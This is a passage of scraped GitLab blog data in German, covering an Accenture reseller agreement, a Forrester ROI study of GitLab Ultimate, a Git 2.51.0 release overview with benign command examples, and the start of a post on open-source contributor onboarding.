ermöglicht Organisationen, sichere Software in großem Maßstab zu entwickeln und bereitzustellen. Die globale Vertriebsvereinbarung bietet einen weltweiten Rahmen, der flexibel an lokale Bedingungen angepasst werden kann.\n\n## Die Zusammenarbeit wird sich zunächst auf mehrere Schlüsselbereiche konzentrieren:\n\n**DevSecOps-Transformation im Unternehmensmaßstab:** \nUnterstützung von Organisationen bei der Modernisierung ihrer Entwicklungspraktiken und Optimierung ihres Software-Bereitstellungszyklus.\n\n**Mainframe-Modernisierung:**\nBegleitung von Kunden bei der Migration von Legacy-Systemen.\n\n**GitLab Duo mit Amazon Q:**\nBereitstellung von KI-gestützter Softwareentwicklung für Organisationen, die ihre Entwicklungsgeschwindigkeit beschleunigen und gleichzeitig durchgängige Sicherheit und Compliance gewährleisten möchten.\n\n## Ausblick\n\nWir freuen uns darauf, unseren gemeinsamen Kunden dabei zu helfen, Innovationen zu beschleunigen, Entwicklungsprozesse zu optimieren und ihre Sicherheitslage zu stärken, um ihre Geschäftsziele effektiver zu erreichen.\n\nFür weitere Informationen darüber, wie GitLab und Accenture Organisationen helfen können, besuche bitte [unsere Partner-Website](https://about.gitlab.com/partners/channel-partners/#/2328213) oder kontaktiere deinen Accenture- oder GitLab-Ansprechpartner.",[1033],"GitLab","GitLab und Accenture geben globale Vertriebsvereinbarung bekannt","Die neue Vereinbarung ermöglicht es Accenture, die umfassende DevSecOps-Plattform von GitLab zu vertreiben.","https://res.cloudinary.com/about-gitlab-com/image/upload/f_auto,q_auto,c_lfill/v1751568278/bots3gyfarx8qysbkw6c.png",{"featured":6,"template":800,"slug":1038},"gitlab-and-accenture-announce-global-reseller-agreement",{"content":1040,"config":1051},{"heroImage":1041,"body":1042,"authors":1043,"updatedDate":1045,"date":1046,"title":1047,"tags":1048,"description":1050,"category":742},"https://res.cloudinary.com/about-gitlab-com/image/upload/v1750098354/Blog/Hero%20Images/Blog/Hero%20Images/blog-image-template-1800x945%20%281%29_5XrohmuWBNuqL89BxVUzWm_1750098354056.png","Eine leistungsstarke DevSecOps-Plattform optimiert den Betrieb, verhindert, dass Sicherheitslücken deinen Betrieb stören (und dadurch Kosten verursachen), steigert die Produktivität und fördert eine Kultur der Innovation und Zusammenarbeit. Genau dafür haben wir GitLab entwickelt – und der Ultimate-Tarif steht wie kein anderer für die volle Leistung unserer Plattform. Um zu sehen, wie unser Produkt in der realen Welt besteht, haben wir Forrester Consulting beauftragt, eine Untersuchung der wirtschaftlichen Gesamtauswirkungen von GitLab Ultimate vorzunehmen und den sogenannten „Total Economic Impact™“ zu messen. Hier siehst du auf einen Blick, was wir herausgefunden haben.\n\nLaut Studie kann GitLab für ein fiktives kombiniertes Unternehmen, das aus den Daten der befragten Kund(inn)en zusammengeführt wurde, folgende Ergebnisse erzielen:\n\n* **Drei-Jahres-ROI von 483 %**\n* **400 % Verbesserung der Produktivität der Entwickler(innen)**\n* **15 x kürzere Zeit bis zur ersten Release\u003Csup>1\u003C/sup>**\n* **5-fache Zeitersparnis bei Sicherheitsaktivitäten**\n\n**Insgesamt ermöglichte GitLab 50 % mehr Arbeit mit geschäftlichem Wert.** \n\nDie Zahlen zeichnen ein klares Bild: Die Plattform von GitLab verändert die Zusammenarbeit von Teams. Egal, ob du Führungskraft im Bereich der Anwendungssicherheit bist und die Sicherheitslage des Unternehmens verbessern musst, als Entwickler(in) schneller höherwertigen Code liefern sollst oder als CTO nach einer skalierbaren, sicheren und flexiblen DevSecOps-Plattform suchst: Diese Studie zeigt, dass GitLab Ultimate hält, was es verspricht. Die vollständige Methodik findest du weiter unten. Nun wollen wir die Ergebnisse aufschlüsseln.\n\n> Lade den vollständigen Bericht (auf Englisch) hier herunter: [2024 Forrester Consulting „Total Economic Impact of GitLab Ultimate“](https://about.gitlab.com/resources/study-forrester-tei-gitlab-ultimate/).\n\n## **1\\. Drei-Jahres-ROI von 483 %**\n\n*„Der große Gewinn für uns war die Effizienz – sowohl in der Verwaltung als auch im Gesamtbetrieb. Jetzt können alle zusammenarbeiten und wir können unsere Pipeline ganz einfach automatisieren. Außerdem kann ich die Personen effizienter zu anderen Aufgaben verschieben. Ich muss sie jetzt nicht mehr in verschiedenen Tools in den einzelnen Programmen schulen, sondern es reicht, wenn man GitLab erlernt – und schon kann man losarbeiten.“* - CTO und Senior-Vizepräsident(in), Verteidigungsindustrie\n\nDie Studie zeigte, dass sich die Einführung von GitLab Ultimate in einem Team innerhalb von sechs Monaten zu amortisieren begann, vor allem durch die verbesserte Effizienz. Mit einem **ROI von 483 % über drei Jahre** können Unternehmen die Kosten ihrer Software-Toolchains um 25 % senken und die Zeit, die IT-Teams für die Verwaltung komplexer Toolchains aufwenden, um 75 % verkürzen. Neben den Kosteneinsparungen bringt der Umstieg auf eine vereinheitlichte Software fundamentale Verbesserungen hinsichtlich dessen, wie Teams Software entwickeln und bereitstellen.\n\n## **2\\. 400 % Produktivitätssteigerung**\n\n*„Wenn ich mit unseren Entwickler(inne)n über GitLab spreche, sind sie sich einig, dass die Lösung die Produktivität in unserem Unternehmen in allen Teams und Positionen gesteigert hat. Wir haben jetzt eine Plattform mit Funktionen, die alle nutzen können.“* - Softwarearchitekt(in), Energie-/Forschungsbranche\n\nEntwickler(innen) sind in Umgebungen am produktivsten, in denen sie einfach und ohne Unterbrechung zwischen den Aufgaben wechseln können. Laut der Studie können Entwickler(innen) bis zu 305 Stunden pro Jahr durch [Testautomatisierung](https://about.gitlab.com/topics/devops/devops-test-automation/) mit GitLab einsparen, denn damit können sie häufiger testen und Fehler schneller beheben – und all das auf einer einzigen Benutzeroberfläche ohne Kontextwechsel. Dank diesem optimierten Workflow können sie sich auf das Programmieren konzentrieren und müssen nicht mehr verschiedene Tools und Prozesse koordinieren.\n\nDie Produktivitätssteigerung ist auch beim Onboarding zu merken: Neue Mitarbeitende im Softwareentwicklungsteam des kombinierten Unternehmens erreichten um 75 % schneller ihre volle Produktivität (d. h. in 1,5 Wochen anstatt in 1,5 Monaten). Die Auswirkungen sind klar: Alle im Team können dadurch schneller Arbeit leisten, die wirklich etwas bewirkt.\n\n## **3\\. 15 x kürzere Zeit bis zur ersten Veröffentlichung**\n\n*„Software ist unsere Superkraft. Sie wird in Geschwindigkeit sowie in der Fähigkeit gemessen, unseren Kund(inn)en neue Funktionen zu bieten. Damit dies unser Hauptaugenmerk blieb, war es in wirtschaftlicher Hinsicht klar, zu einer einheitlichen Plattform zu wechseln.“* - CTO und Senior-Vizepräsident(in), Verteidigungsindustrie\n\nDie zusammengefassten Daten aus den Kundeninterviews zeigen, dass Unternehmen mit GitLab die Veröffentlichung der ersten Release um das 15-Fache beschleunigen konnten. Dieser enorme Vorteil wird durch eine raschere Initiierung von Projekten, häufigere Softwarereleases und einen proaktiven Sicherheitsansatz erreicht, bei dem Sicherheitsscans von Beginn an in den Entwicklungsprozess integriert werden. Trotz dieser Geschwindigkeitssteigerung bleiben Softwarequalität und Sicherheit auf dem gleichen hohen Niveau, da die Entwickler(innen) Probleme frühzeitig und schnell beheben können.\n\nDa die [Sicherheit direkt in den Entwicklungsprozess integriert wurde](https://about.gitlab.com/solutions/security-compliance/), können Entwickler(innen) Sicherheitslücken identifizieren, priorisieren und beheben, ohne ihren Workflow unterbrechen zu müssen. Dieser vereinheitlichte Ansatz für den gesamten Software-Entwicklungsprozess sorgt dafür, dass Teams schneller vorwärts kommen, ohne Kompromisse bei der Sicherheit eingehen zu müssen.\n\n## **4\\. 5-fache Zeitersparnis bei Sicherheitsaktivitäten**\n\n*„Die Integration von Sicherheits- und Qualitätsscannern in die Pipeline war für uns ein Wendepunkt. Durch mehr Automatisierung und weniger manueller Arbeit gibt es weniger Ausfälle, weniger Probleme und schnellere Fortschritte.“* - Programmmanager(in), Finanzbranche \n\nSicherheit steht für jedes Unternehmen an erster Stelle, da sich die Entwicklung beschleunigt und sich die Bedrohungen ständig weiterentwickeln. Mit GitLab können die Mitglieder des Sicherheitsteams im kombinierten Unternehmen **78 Stunden pro Mitglied und Jahr** einsparen, indem wiederkehrende Aufgaben wie Vorbereitungen für die Notfallwiederherstellung, Auditing und Compliance-Überprüfungen automatisiert werden. GitLab verbessert zudem die Transparenz im Software-Entwicklungsprozess und hilft den Sicherheits- und Entwicklungsteams dabei, effizienter zusammenzuarbeiten.\n\nDie Cybersicherheits- und Softwareentwicklungsteams im kombinierten Unternehmen konnten **Sicherheitsrisiken im Software-Entwicklungsprozess mit 81 % weniger Aufwand verwalten und mindern.** Dies ist darauf zurückzuführen, dass sie dank GitLab Sicherheitsprotokolle und -scans in allen Phasen des Software-Entwicklungsprozesses integrieren können. Dadurch konnten strenge Sicherheitsstandards viel einfacher umgesetzt werden. Da Sicherheitstests und die Fehlerbehebung in die Pipelines integriert werden, können Teams die durchschnittlichen Reaktionszeiten sowie das Risiko, dass Probleme in die Produktion gelangen, senken.\n\n# **Erlebe DevSecOps in Aktion**\n\nMit einem ROI von 483 %, einer kurzen Amortisationszeit und unzähligen Erfolgsgeschichten ist GitLab ein unschätzbares Tool für Unternehmen, die ihre Software-Entwicklungsprozesse transformieren möchten.\n\n> Um herauszufinden, wie GitLab auch dein Unternehmen unterstützen kann, lade den vollständigen Bericht noch heute herunter (nur auf Englisch verfügbar): [Forrester Consulting „Total Economic Impact of GitLab Ultimate“ ](https://about.gitlab.com/resources/study-forrester-tei-gitlab-ultimate/).\n\n**Methodik**  \n*Für die Studie befragte Forrester vier GitLab-Ultimate-Kund(inn)en aus verschiedenen Branchen, darunter Finanzwesen, Verteidigung und Forschung, und bildete aus den Angaben ein fiktives kombiniertes Unternehmen, das die aggregierten Ergebnisse der Befragungen widerspiegelt. Es wird erwartet, dass das kombinierte Unternehmen GitLab Ultimate in einem Zeitraum von drei Jahren in allen Teams einführt.*\n\n*Das kombinierte Unternehmen ist ein 5 Milliarden Dollar schweres Unternehmen mit 5 000 Mitarbeitenden, von denen 40 % an der Softwarebereitstellung beteiligt sind und in dem 50 % des Jahresumsatzes durch Softwareentwicklung erzielt werden. Die Ziele des fiktiven Unternehmens sind, mehrere Tools in eine einzige integrierte Plattform zu konsolidieren, die Produktivität der Entwickler(innen) zu steigern, die Einhaltung von Branchenvorgaben und internen Richtlinien zu erreichen und die Sicherheit im gesamten Entwicklungsprozess zu steigern.*\n\n*1. Basierend auf zusammenfassenden Daten aus Kundeninterviews; nicht auf die Ergebnisse des kombinierten Unternehmens anwendbar.*",[1044],"Dave Steer","2024-11-26","2024-11-13","Wirtschaftliche Gesamtauswirkungen von GitLab Ultimate: 483 % ROI über 3 Jahre",[796,1049,742,775],"research","Eine Untersuchung von Forrester Consulting zu GitLab Ultimate zeigte, dass die DevSecOps-Plattform die Sicherheitslage verbesserte und die 5-fache Zeit bei Sicherheitsaktivitäten eingespart werden konnte.\n",{"slug":1052,"featured":91,"template":800},"gitlab-ultimates-total-economic-impact-483-roi-over-3-years",{"category":750,"slug":754,"posts":1054},[1055,1067,1081],{"content":1056,"config":1065},{"title":1057,"description":1058,"authors":1059,"heroImage":1061,"date":1062,"body":1063,"category":754,"tags":1064},"Was ist neu in Git 2.51.0?","Erfahren Sie mehr über die neuesten Beiträge von GitLabs Git-Team und der Git-Community, einschließlich Performance-Optimierungen für git-push(1) und git-fetch(1), die besonders für deutsche Entwicklungsteams relevant sind.",[1060],"Karthik Nayak","https://res.cloudinary.com/about-gitlab-com/image/upload/v1749663087/Blog/Hero%20Images/git3-cover.png","2025-08-18","Das Git-Projekt hat kürzlich [Git 2.51](https://lore.kernel.org/git/xmqqikikk1hr.fsf@gitster.g/T/#u) veröffentlicht. Aufgrund des Sommers auf der Nordhalbkugel und langsamerer Fortschritte war dieser Release-Zyklus mit 8 Wochen eher kurz (normalerweise dauert ein Release-Zyklus etwa 12 Wochen). \n\n**Die wichtigste Neuerung: Git-Operationen werden bis zu 22-mal schneller** - besonders bei großen Repositories mit vielen Branches profitieren Entwicklungsteams von erheblichen Performance-Verbesserungen.\n\nSchauen wir uns diese und andere bemerkenswerte Änderungen in diesem Release an, einschließlich Beiträgen vom Git-Team bei GitLab und der breiteren Git-Community.\n\n## Massive Performance-Verbesserungen: Von Sekunden zu Millisekunden\n\nGroße Repositories mit tausenden von Branches standen vor einem schmerzhaften Engpass. Git-Operationen, die Referenzen aktualisieren, konnten mehrere Sekunden dauern - ein echter Produktivitätskiller für Teams mit umfangreichen CI/CD-Pipelines oder Monorepo-Workflows.\n\n**Git 2.51.0 ändert alles. Eine 10.000-Referenzen-Fetch-Operation, die 3,4 Sekunden dauerte, wird jetzt in 154 Millisekunden abgeschlossen:**\n\n```\nVORHER: git-fetch mit 10.000 Referenzen\nTime: 3.403 s ± 0.775 s\n\nNACHHER: git-fetch mit 10.000 Referenzen  \nTime: 154.3 ms ± 17.6 ms\n\nERGEBNIS: 22× schneller\n```\n\n**Ähnlich dramatische Verbesserungen bei git-push:**\n\n```\nVORHER: git-push mit 10.000 Referenzen\nTime: 4.276 s ± 0.078 s\n\nNACHHER: git-push mit 10.000 Referenzen\nTime: 235.4 ms ± 6.9 ms\n\nERGEBNIS: 18× schneller\n```\n\n### Wie wurde das erreicht?\n\nDas Problem lag in der Art, wie Git Referenz-Transaktionen behandelte. Die Kommandos git-push(1) und git-fetch(1) erstellten eine separate Transaktion für jedes Referenz-Update, was enormen Overhead verursachte - jede Transaktion benötigte eine Initialisierungs- und Abbauphase und löste Auto-Komprimierungen aus.\n\nGit 2.51.0 verwendet nun **gebündelte Updates**: Mehrere Referenzen werden in einer einzigen Transaktion aktualisiert, während einzelne Updates weiterhin fehlschlagen dürfen. Dies eliminiert den Overhead und skaliert linear mit der Anzahl der Referenzen.\n\nDas Beste daran? Benutzer profitieren automatisch von diesen Verbesserungen, ohne Änderungen an ihrem Workflow vornehmen zu müssen.\n\nDieses [Projekt](https://lore.kernel.org/git/20250514-501-update-git-fetch-1-to-use-partial-transactions-v1-0-7c65f46493d4@gmail.com/) wurde von [Karthik Nayak](https://gitlab.com/knayakgl) geleitet.\n\n## Änderungen in Richtung Git 3.0\n\nVor 11 Jahren wurde Git 2.0 veröffentlicht, die letzte große Versionsfreigabe von Git. Obwohl wir keinen spezifischen Zeitplan für die nächste große Git-Veröffentlichung haben, enthält dieses Release Entscheidungen, die in Richtung Git 3.0 getroffen wurden.\n\nDie Git 3.0-Release-Planung ermöglicht es uns, Breaking Changes zu planen und zu implementieren und diese der erweiterten Git-Community zu kommunizieren. Neben der Dokumentation kann Git auch mit diesen Breaking Changes kompiliert werden für diejenigen, die mit diesen Änderungen experimentieren möchten. Weitere Informationen finden Sie im [BreakingChanges-Dokument](https://gitlab.com/gitlab-org/git/-/blob/master/Documentation/BreakingChanges.adoc).\n\nDas Git 2.51.0-Release bringt einige bedeutende Änderungen in Richtung Git 3.0.\n\n### \"reftable\" wird Standard in Git 3.0\n\nIm [Git 2.45.0](https://gitlab.com/gitlab-org/git/-/blob/master/Documentation/RelNotes/2.45.0.adoc?ref_type=heads)-Release wurde das \"reftable\"-Format als neues Backend zur Speicherung von Referenzen wie Branches oder Tags in Git eingeführt, das viele der Probleme des bestehenden \"files\"-Backends behebt. Lesen Sie unseren [Einsteiger-Leitfaden zur Funktionsweise von reftables](https://about.gitlab.com/blog/a-beginners-guide-to-the-git-reftable-format/) für weitere Einblicke in das \"reftable\"-Backend.\n\nDas Git 2.51.0-Release markiert den Wechsel zur Verwendung des \"reftable\"-Formats als Standard in Git 3.0 für neu erstellte Repositories und verdrahtet die Änderung hinter einem Feature-Flag. Das \"reftable\"-Format bietet folgende Verbesserungen gegenüber dem traditionellen \"files\"-Backend:\n\n* Es ist unmöglich, zwei Referenzen zu speichern, die sich nur in der Groß-/Kleinschreibung unterscheiden, auf case-insensitiven Dateisystemen mit dem \"files\"-Format. Dieses Problem ist häufig auf Windows- und macOS-Plattformen. Da das \"reftable\"-Backend keine Dateisystem-Pfade zur Kodierung von Referenznamen verwendet, verschwindet dieses Problem.\n\n* Ebenso normalisiert macOS Pfadnamen, die Unicode-Zeichen enthalten, was zur Folge hat, dass Sie nicht zwei Namen mit Unicode-Zeichen speichern können, die unterschiedlich kodiert sind, mit dem \"files\"-Backend. Auch dies ist kein Problem mit dem \"reftable\"-Backend.\n\n* Das Löschen von Referenzen mit dem \"files\"-Backend erfordert, dass Git die komplette \"packed-refs\"-Datei neu schreibt. In großen Repositories mit vielen Referenzen kann diese Datei leicht dutzende Megabytes groß sein; in extremen Fällen kann sie Gigabytes umfassen. Das \"reftable\"-Backend verwendet Tombstone-Marker für gelöschte Referenzen und muss daher nicht alle seine Daten neu schreiben.\n\n* Repository-Hauskeeping mit dem \"files\"-Backend führt normalerweise All-into-One-Repacks von Referenzen durch. Dies kann sehr teuer sein, und folglich ist Housekeeping ein Kompromiss zwischen der Anzahl loser Referenzen, die sich ansammeln und Operationen verlangsamen, die Referenzen lesen, und der Komprimierung dieser losen Referenzen in die \"packed-refs\"-Datei. Das \"reftable\"-Backend verwendet geometrische Komprimierung nach jedem Schreibvorgang, was Kosten amortisiert und sicherstellt, dass das Backend immer in einem gut gewarteten Zustand ist.\n\n* Operationen, die mehrere Referenzen auf einmal schreiben, sind nicht atomisch mit dem \"files\"-Backend. Folglich kann Git Zwischenzustände sehen, wenn es Referenzen liest, während eine Referenz-Transaktion gerade auf die Festplatte committed wird.\n\n* Das Schreiben vieler Referenzen auf einmal ist langsam mit dem \"files\"-Backend, weil jede Referenz als separate Datei erstellt wird. Das \"reftable\"-Backend übertrifft das \"files\"-Backend um mehrere Größenordnungen.\n\n* Das \"reftable\"-Backend verwendet ein Binärformat mit Präfix-Komprimierung für Referenznamen. Als Resultat nutzt das Format weniger Platz im Vergleich zur \"packed-refs\"-Datei.\n\nDieses Projekt wurde von [Patrick Steinhardt](https://gitlab.com/pks-gitlab) geleitet.\n\n### SHA-256 wird Standard in Git 3.0\n\nDas Git-Versionskontrollsystem speichert Objekte in einem inhaltsadressierbaren Dateisystem. Das bedeutet, es verwendet den Hash eines Objekts zur Adressierung von Inhalten wie Dateien, Verzeichnissen und Revisionen, anders als traditionelle Dateisysteme, die sequenzielle Nummern verwenden. Die Verwendung einer Hash-Funktion hat folgende Vorteile:\n\n* Einfache Integritätsprüfungen, da ein einzelner Bit-Flip die Hash-Ausgabe komplett verändern würde.\n* Schnelle Objektsuche, da Objekte nach ihrem Hash indexiert werden können.\n* Objektnamen können signiert werden und Drittparteien können dem Hash vertrauen, um das signierte Objekt und alle Objekte, auf die es verweist, zu adressieren.\n* Kommunikation über Git-Protokoll und Out-of-Band-Kommunikationsmethoden haben einen kurzen zuverlässigen String, der zur zuverlässigen Adressierung gespeicherter Inhalte verwendet werden kann.\n\nSeit seiner Entstehung hat Git den SHA-1-Hashing-Algorithmus verwendet. Sicherheitsforscher haben jedoch einige Schwachstellen in SHA-1 entdeckt, speziell den [SHAttered-Angriff](https://shattered.io), der eine praktische SHA-1-Hash-Kollision zeigt. Wir sind seit Git 2.13.0 standardmäßig zu einer gehärteten SHA-1-Implementierung übergegangen. SHA-1 ist jedoch immer noch ein schwacher Hashing-Algorithmus und es ist nur eine Frage der Zeit, bis zusätzliche Angriffe seine Sicherheit weiter reduzieren werden.\n\nSHA-256 wurde Ende 2018 als Nachfolger von SHA-1 identifiziert. Git 2.51.0 markiert es als Standard-Hash-Algorithmus für Git 3.0.\n\nDieses Projekt wurde von [brian m. carlson](https://github.com/bk2204) geleitet.\n\n### Entfernung von git-whatchanged(1)\n\nDer git-whatchanged(1)-Befehl zeigt Logs mit Unterschieden, die jeder Commit einführt. Obwohl dies nun von git log --raw abgelöst wurde, wurde der Befehl aus historischen Gründen beibehalten.\n\nGit 2.51.0 erfordert, dass Benutzer des Befehls explizit das --i-still-use-this-Flag verwenden, um alle Benutzer zu erfassen, die noch den veralteten Befehl verwenden, und markiert den Befehl auch für die Entfernung in Git 3.0.\n\nDieses Projekt wurde von [Junio C Hamano](https://simple.wikipedia.org/wiki/Junio_Hamano) geleitet.\n\n## git switch und git restore sind nicht mehr experimentell\n\nDer git-checkout(1)-Befehl kann für mehrere verschiedene Anwendungsfälle verwendet werden. Er kann zum Wechseln von Referenzen verwendet werden:\n\n```\n$ git status\nAuf Zweig master\nIhr Branch ist auf dem neuesten Stand mit 'origin/master'.\nNichts zu committen, Arbeitsverzeichnis unverändert\n\n$ git checkout next\nZu Branch 'next' gewechselt\nIhr Branch ist auf dem neuesten Stand mit 'origin/next'.\n```\n\nOder zur Wiederherstellung von Dateien:\n\n```\n$ echo \"additional line\" >> git.c\n\n$ git status\nAuf Zweig master\nIhr Branch ist auf dem neuesten Stand mit 'origin/master'.\n\nÄnderungen, die nicht zum Commit vorgemerkt sind:\n  (benutzen Sie \"git add \u003CDatei>...\", um die Änderungen zum Commit vorzumerken)\n  (benutzen Sie \"git restore \u003CDatei>...\", um die Änderungen im Arbeitsverzeichnis zu verwerfen)\n        geändert:       git.c\n\nkeine Änderungen zum Commit vorgemerkt (benutzen Sie \"git add\" und/oder \"git commit -a\")\n\n$ git checkout git.c\n1 Pfad von Index aktualisiert\n\n$ git status\nAuf Zweig master\nIhr Branch ist auf dem neuesten Stand mit 'origin/master'.\nNichts zu committen, Arbeitsverzeichnis unverändert\n```\n\nFür neue Git-Benutzer kann dies zu viel Verwirrung führen. In Git 2.33.0 wurden diese in zwei neue Befehle aufgeteilt: git-switch(1) und git-restore(1).\n\nDer git-switch(1)-Befehl ermöglicht es Benutzern, zu einem bestimmten Branch zu wechseln:\n\n```\n$ git status\nAuf Zweig master\nIhr Branch ist auf dem neuesten Stand mit 'origin/master'.\nNichts zu committen, Arbeitsverzeichnis unverändert\n\n$ git switch next\nZu Branch 'next' gewechselt\nIhr Branch ist auf dem neuesten Stand mit 'origin/next'.\n```\n\nUnd der git-restore(1)-Befehl ermöglicht es Benutzern, Working-Tree-Dateien wiederherzustellen:\n\n```\n$ echo \"additional line\" >> git.c\n\n$ git status\nAuf Zweig master\nIhr Branch ist auf dem neuesten Stand mit 'origin/master'.\n\nÄnderungen, die nicht zum Commit vorgemerkt sind:\n  (benutzen Sie \"git add \u003CDatei>...\", um die Änderungen zum Commit vorzumerken)\n  (benutzen Sie \"git restore \u003CDatei>...\", um die Änderungen im Arbeitsverzeichnis zu verwerfen)\n        geändert:       git.c\n\nkeine Änderungen zum Commit vorgemerkt (benutzen Sie \"git add\" und/oder \"git commit -a\")\n\n$ git restore git.c\n\n$ git status\nAuf Zweig master\nIhr Branch ist auf dem neuesten Stand mit 'origin/master'.\nNichts zu committen, Arbeitsverzeichnis unverändert\n```\n\nObwohl die beiden Befehle seit 2019 existieren, wurden sie als experimentell markiert. Der Effekt ist, dass das Git-Projekt keine Rückwärtskompatibilität für diese Befehle garantiert: das Verhalten kann sich jederzeit ändern. Obwohl die Absicht ursprünglich war, diese Befehle nach einigen Releases zu stabilisieren, ist das bis zu diesem Punkt nicht geschehen.\n\nDies hat zu mehreren Diskussionen auf der Git-Mailing-Liste geführt, wo Benutzer unsicher sind, ob sie diese neuen Befehle verwenden können oder ob sie eventuell wieder verschwinden. Da jedoch keine bedeutenden Änderungen vorgeschlagen wurden und einige Benutzer diese Befehle bereits verwenden, haben wir beschlossen, sie in Git 2.51 nicht mehr als experimentell zu deklarieren.\n\nDieses Projekt wurde von [Justin Tobler](https://gitlab.com/justintobler) geleitet.\n\n## git for-each-ref(1) erhält Paginierungs-Unterstützung\n\nDer git for-each-ref-Befehl wird verwendet, um alle im Repository vorhandenen Referenzen aufzulisten. Als Teil der Plumbing-Schicht von Git wird dieser Befehl häufig beispielsweise von Hosting-Forges verwendet, um Referenzen, die im Repository existieren, in ihrer UI aufzulisten. Aber während Repositories wachsen, wird es weniger realistisch, alle Referenzen auf einmal aufzulisten – schließlich können die größten Repositories Millionen davon enthalten! Stattdessen neigen Forges dazu, die Referenzen zu paginieren.\n\nDies zeigt eine wichtige Lücke auf: git-for-each-ref weiß nicht, Referenzen von vorherigen Seiten zu überspringen, die bereits gezeigt wurden. Folglich muss es möglicherweise eine große Anzahl uninteressanter Referenzen auflisten, bevor es endlich beginnt, die für die aktuelle Seite benötigten Referenzen zu liefern. Dies ist ineffizient und führt zu höherer als notwendiger Latenz oder sogar Timeouts.\n\nGit 2.51.0 unterstützt ein neues --start-after-Flag für git for-each-ref, das die Paginierung der Ausgabe ermöglicht. Dies kann auch mit dem --count-Flag kombiniert werden, um über einen Batch von Referenzen zu iterieren.\n\n```\n$ git for-each-ref --count=10\n9751243fba48b34d29aabfc9784803617a806e81 commit    refs/heads/branch-001\n9751243fba48b34d29aabfc9784803617a806e81 commit    refs/heads/branch-002\n9751243fba48b34d29aabfc9784803617a806e81 commit    refs/heads/branch-003\n9751243fba48b34d29aabfc9784803617a806e81 commit    refs/heads/branch-004\n9751243fba48b34d29aabfc9784803617a806e81 commit    refs/heads/branch-005\n9751243fba48b34d29aabfc9784803617a806e81 commit    refs/heads/branch-006\n9751243fba48b34d29aabfc9784803617a806e81 commit    refs/heads/branch-007\n9751243fba48b34d29aabfc9784803617a806e81 commit    refs/heads/branch-008\n9751243fba48b34d29aabfc9784803617a806e81 commit    refs/heads/branch-009\n9751243fba48b34d29aabfc9784803617a806e81 commit    refs/heads/branch-010\n\n$ git for-each-ref --count=10 --start-after=refs/heads/branch-010\n9751243fba48b34d29aabfc9784803617a806e81 commit    refs/heads/branch-011\n9751243fba48b34d29aabfc9784803617a806e81 commit    refs/heads/branch-012\n9751243fba48b34d29aabfc9784803617a806e81 commit    refs/heads/branch-013\n9751243fba48b34d29aabfc9784803617a806e81 commit    refs/heads/branch-014\n9751243fba48b34d29aabfc9784803617a806e81 commit    refs/heads/branch-015\n9751243fba48b34d29aabfc9784803617a806e81 commit    refs/heads/branch-016\n9751243fba48b34d29aabfc9784803617a806e81 commit    refs/heads/branch-017\n9751243fba48b34d29aabfc9784803617a806e81 commit    refs/heads/branch-018\n9751243fba48b34d29aabfc9784803617a806e81 commit    refs/heads/branch-019\n9751243fba48b34d29aabfc9784803617a806e81 commit    refs/heads/branch-020\n```\n\nDieses Projekt wurde von [Karthik Nayak](https://gitlab.com/knayakgl) geleitet.\n\n## Fazit\n\n**Diese Performance-Verbesserungen sind besonders relevant für deutsche Entwicklungsteams, die mit großen Repositories und intensiven CI/CD-Workflows arbeiten.** Die 22-fache Beschleunigung bei git-fetch kann erhebliche Zeitersparnisse in der täglichen Entwicklungsarbeit bedeuten.\n\nBereit, diese Verbeszerungen zu erleben? Aktualisieren Sie auf Git 2.51.0 und beginnen Sie, git switch und git restore in Ihrem täglichen Workflow zu verwenden.\n\nFür GitLab-Benutzer werden diese Performance-Verbesserungen automatisch Ihre Entwicklungserfahrung verbessern, sobald Ihre Git-Version aktualisiert wird.\n\nErfahren Sie mehr in den [offiziellen Git 2.51.0 Release Notes](https://lore.kernel.org/git/xmqqikikk1hr.fsf@gitster.g/T/#u) und erkunden Sie unser [komplettes Archiv der Git-Entwicklungsberichterstattung](https://about.gitlab.com/blog/tags/git/).\n\n---\n\n*Für vollständige technische Details, Benchmarks und Implementierungshinweise lesen Sie den [englischen Originalartikel](https://about.gitlab.com/blog/what-s-new-in-git-2-51-0/).*\n",[984,897,269,985],{"featured":6,"template":800,"slug":1066},"what-s-new-in-git-2-51-0",{"content":1068,"config":1079},{"heroImage":1069,"body":1070,"authors":1071,"updatedDate":1074,"date":1075,"title":1076,"tags":1077,"description":1078,"category":754},"https://res.cloudinary.com/about-gitlab-com/image/upload/v1750099558/Blog/Hero%20Images/Blog/Hero%20Images/gitlabflatlogomap_gitlabflatlogomap.png_1750099558369.png","GitLabs Contributor Success Team stand vor einer Herausforderung.\n\nWährend unsere wiederkehrenden Open-Source-Mitwirkenden mehr Code-Änderungen mergten und an tiefgreifenden Funktionen zusammenarbeiteten, hatten Erstmitwirkende Schwierigkeiten, den Einstieg zu finden. Wir wussten, dass viele Neulinge in Open Source oft aufgaben oder nie um Hilfe baten. Aber als Verfechter von [GitLabs Mission](https://handbook.gitlab.com/handbook/company/mission/),\n\nallen das Mitwirken zu ermöglichen, wollten wir es besser machen.\n\n\nWir begannen Forschungsstudien über Open-Source-Mitwirkende bei GitLab durchzuführen. Dann verbesserten wir die Stolpersteine. Im Januar erreichten wir einen Rekord von 184 einzigartigen Community-Mitwirkenden bei GitLab in einem einzigen Monat\n\nund übertrafen damit erstmals unser Teamziel von 170.\n\n\nDrei Monate später brachen wir den Rekord erneut mit 192.\n\n\nSo haben wir GitLabs eigene Tools genutzt, um das Neueinsteiger-Dilemma zu lösen und unsere Open-Source-Community wachsen zu lassen.\n\n\n## Was wir aus der Untersuchung von Erstmitwirkenden gelernt haben\n\n\n2023 führten wir die erste Nutzerstudie über GitLab Open-Source-Mitwirkende durch.\n\nWir beobachteten sechs Teilnehmende, die noch nie bei GitLab mitgewirkt hatten, bei ihrem ersten Versuch. Sie führten Tagebuchstudien durch und nahmen an Zoom-Interviews teil, in denen sie ihre Erfahrungen detailliert schilderten.\n\n\nDie Teilnehmenden sagten uns:\n\n\n* Die Mitwirkenden-Dokumentation war verwirrend\n\n* Der Einstieg fühlte sich überwältigend an\n\n* Es war nicht klar, wie oder wo man Hilfe finden konnte\n\n\nNur eine(r) der sechs Teilnehmenden schaffte es während der Studie erfolgreich, einen Code-Beitrag zu GitLab zu mergen.\n\n\nEs wurde klar, dass wir uns auf die Onboarding-Erfahrung konzentrieren mussten, wenn wir wollten, dass neue Mitwirkende Erfolg haben.\n\nAlso haben wir [iteriert](https://handbook.gitlab.com/handbook/values/#iteration)!\n\n\nUnser Team verbrachte das nächste Jahr damit, ihre Herausforderungen anzugehen. Wir nutzten GitLab-Tools\n\nwie Issue-Templates, geplante Pipelines, Webhooks und die GitLab Query Language (GLQL), um eine innovative halbautomatisierte 